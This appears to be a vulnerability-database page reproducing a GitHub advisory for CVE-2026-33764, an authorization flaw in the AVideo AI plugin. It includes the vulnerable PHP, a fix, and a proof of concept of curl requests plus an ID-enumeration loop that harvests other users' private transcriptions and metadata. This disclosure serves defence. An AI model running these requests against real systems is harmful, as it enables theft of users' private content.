PHP
CVE-2026-33764
MEDIUM
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
The AI plugin's save.json.php endpoint loads AI response objects using an attacker-controlled $_REQUEST['id'] parameter without validating that the AI response belongs to the specified video. An authenticated user with AI permissions can reference any AI response ID - including those generated for other users' private videos - and apply the stolen AI-generated content (titles, descriptions, keywords, summaries, or full transcriptions) to their own video, effectively exfiltrating the information.
Details
In plugin/AI/save.json.php, the authorization flow checks that the user can edit the *target video* (Video::canEdit($videos_id) at line 23), but loads the AI response object from a completely separate, user-controlled parameter:
Line 29 - metatags path (no ownership check):
if(!empty($_REQUEST['ai_metatags_responses_id'])){
$ai = new Ai_metatags_responses($_REQUEST['id']); // Loads ANY response by ID
if (empty($ai->getcompletion_tokens())) {
forbiddenPage('AI Response not found');
}
}Line 146 - transcription path (no ownership check):
case 'text':
if(!empty($_REQUEST['ai_transcribe_responses_id'])){
$ait = new Ai_transcribe_responses($_REQUEST['id']); // Loads ANY response by ID
$value = $ait->getVtt();The ObjectYPT base class constructor performs a simple database lookup with no authorization:
public function __construct($id = "", $refreshCache = false) {
if (!empty($id)) {
$this->load($id, $refreshCache); // SELECT * WHERE id = ? - no permission check
}
}The loaded data is then applied to the attacker's video - titles via $video->setTitle() (line 49-51), descriptions via $video->setDescription() (lines 91-92, 100-101), and transcriptions via file_put_contents() (line 156).
In contrast, plugin/AI/delete.json.php correctly validates ownership by traversing to the parent Ai_responses record:
// delete.json.php lines 42-44 - CORRECT ownership check
$ai = new Ai_responses($aitr->getAi_responses_id());
if ($ai->getVideos_id() == $videos_id) {
$obj->ai_transcribe_responses_id = $aitr->delete();This proves the developers intended ownership validation but omitted it in the save endpoint.
PoC
Prerequisites: Two user accounts (attacker and victim), both with canUseAI permission. The victim has generated AI metadata or transcription for a private video.
Step 1: Attacker enumerates AI response IDs to steal metadata
AI response IDs are sequential integers. The attacker supplies their own videos_id (which they can edit) but references a victim's AI response id:
# Attacker owns video ID 5, victim's AI metatags response is ID 42
curl -b "attacker_cookies" \
"https://target.example/plugin/AI/save.json.php" \
-d "videos_id=5&ai_metatags_responses_id=1&id=42&label=videoTitles&index=0"Expected result: The victim's AI-generated title (from their private video) is applied to the attacker's video (ID 5). The attacker reads back their video to see the stolen title.
Step 2: Attacker steals full transcription (higher impact)
# Victim's AI transcription response is ID 17
curl -b "attacker_cookies" \
"https://target.example/plugin/AI/save.json.php" \
-d "videos_id=5&ai_transcribe_responses_id=1&id=17&label=text"Expected result: The victim's VTT transcription file is written to the attacker's video directory. The attacker can now access the full spoken content of the victim's private video by requesting the VTT subtitle file for their own video.
Step 3: Enumerate all responses
# Iterate through sequential IDs to harvest all AI responses
for id in $(seq 1 100); do
curl -s -b "attacker_cookies" \
"https://target.example/plugin/AI/save.json.php" \
-d "videos_id=5&ai_metatags_responses_id=1&id=${id}&label=videoTitles&index=0"
doneImpact
- Confidentiality breach of private video content: An attacker can steal full transcriptions (VTT subtitles) generated by AI for other users' private videos, revealing the complete spoken content without ever accessing the video file itself.
- Metadata exfiltration: AI-generated titles, descriptions, keywords, summaries, and content ratings from other users' private videos can be read by applying them to the attacker's own video.
- Trivial enumeration: AI response IDs are sequential integers, allowing an attacker to systematically harvest all AI-generated content across the platform.
- Low barrier: Any user with
canUseAIpermission who owns at least one video can exploit this. No admin access required.
Recommended Fix
Add ownership validation in save.json.php matching what delete.json.php already does. Load the parent Ai_responses record and verify getVideos_id() matches the provided $videos_id:
// For metatags (after line 29):
if(!empty($_REQUEST['ai_metatags_responses_id'])){
$ai = new Ai_metatags_responses($_REQUEST['id']);
if (empty($ai->getcompletion_tokens())) {
forbiddenPage('AI Response not found');
}
// ADD: Ownership validation
$aiParent = new Ai_responses($ai->getAi_responses_id());
if ($aiParent->getVideos_id() != $videos_id) {
forbiddenPage('AI Response does not belong to this video');
}
}
// For transcriptions (at line 146, inside case 'text'):
$ait = new Ai_transcribe_responses($_REQUEST['id']);
// ADD: Ownership validation
$aitParent = new Ai_responses($ait->getAi_responses_id());
if ($aitParent->getVideos_id() != $videos_id) {
forbiddenPage('AI Response does not belong to this video');
}
$value = $ait->getVtt();AnalysisAI
The AVideo AI plugin's save.json.php endpoint fails to validate that AI-generated responses belong to the target video before applying them, allowing authenticated users to exfiltrate private video metadata and full transcriptions by referencing arbitrary AI response IDs. An attacker with canUseAI permission can steal AI-generated titles, descriptions, keywords, summaries, and complete transcription files from other users' private videos through a simple parameter manipulation attack, then apply this stolen content to their own video for reading. No public exploit is confirmed actively exploited, but proof-of-concept methodology is detailed in the advisory, making this a practical attack for any platform user with basic video ownership.
Technical ContextAI
The vulnerability exists in the AVideo plugin (pkg:composer/wwbn_avideo) within the PHP-based save.json.php endpoint that manages AI-generated metadata and transcription persistence. The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key), where the ObjectYPT base class constructor performs unauthenticated database lookups via simple ID-based SELECT queries without permission validation. The code correctly validates that a user can edit the target video (via Video::canEdit()), but loads AI response objects using attacker-supplied $_REQUEST['id'] parameters that bypass this check entirely. The metatags handler (lines 29-35) and transcription handler (lines 146+) both instantiate Ai_metatags_responses and Ai_transcribe_responses objects without traversing to parent Ai_responses records to verify video ownership-a pattern that the delete.json.php endpoint correctly implements. Transcription data is written directly via file_put_contents(), making stolen VTT subtitle files accessible through the attacker's video resource.
RemediationAI
Implement ownership validation in save.json.php by loading the parent Ai_responses record and verifying that getVideos_id() matches the supplied $videos_id parameter, following the pattern already present in delete.json.php. Specifically, after instantiating Ai_metatags_responses or Ai_transcribe_responses objects (lines 29 and 146), add a check that traverses to the parent Ai_responses record and confirms video ownership before allowing metadata or transcription to be applied. Consult the vendor advisory at https://github.com/advisories/GHSA-g39v-qrj6-jxrh for exact patched version details and apply the available patch immediately. Until patching is possible, restrict canUseAI permission grants to trusted users and monitor save.json.php access logs for suspicious cross-video parameter references. Network-level mitigations (HTTPS enforcement, request rate limiting) do not address the authorization flaw but can reduce reconnaissance efficiency.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today